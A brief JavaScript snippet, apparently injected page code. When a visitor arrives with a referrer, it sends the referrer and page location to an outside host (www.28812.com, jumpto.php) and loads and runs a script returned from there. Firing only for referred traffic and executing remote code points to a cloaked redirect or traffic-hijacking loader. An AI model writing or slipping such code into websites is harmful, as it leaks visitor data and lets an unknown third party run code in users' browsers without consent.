var referrer=escape(document.referrer);
var domain="http://www.28812.com/a28812/jumpto.php";
if(referrer)
{
	//document.write('111');
	var yesdata;
	yesdata='?referrer='+escape(document.referrer)+'&location='+escape(document.location);
	document.write('<script language=javascript src='+domain+yesdata+'></script>');
}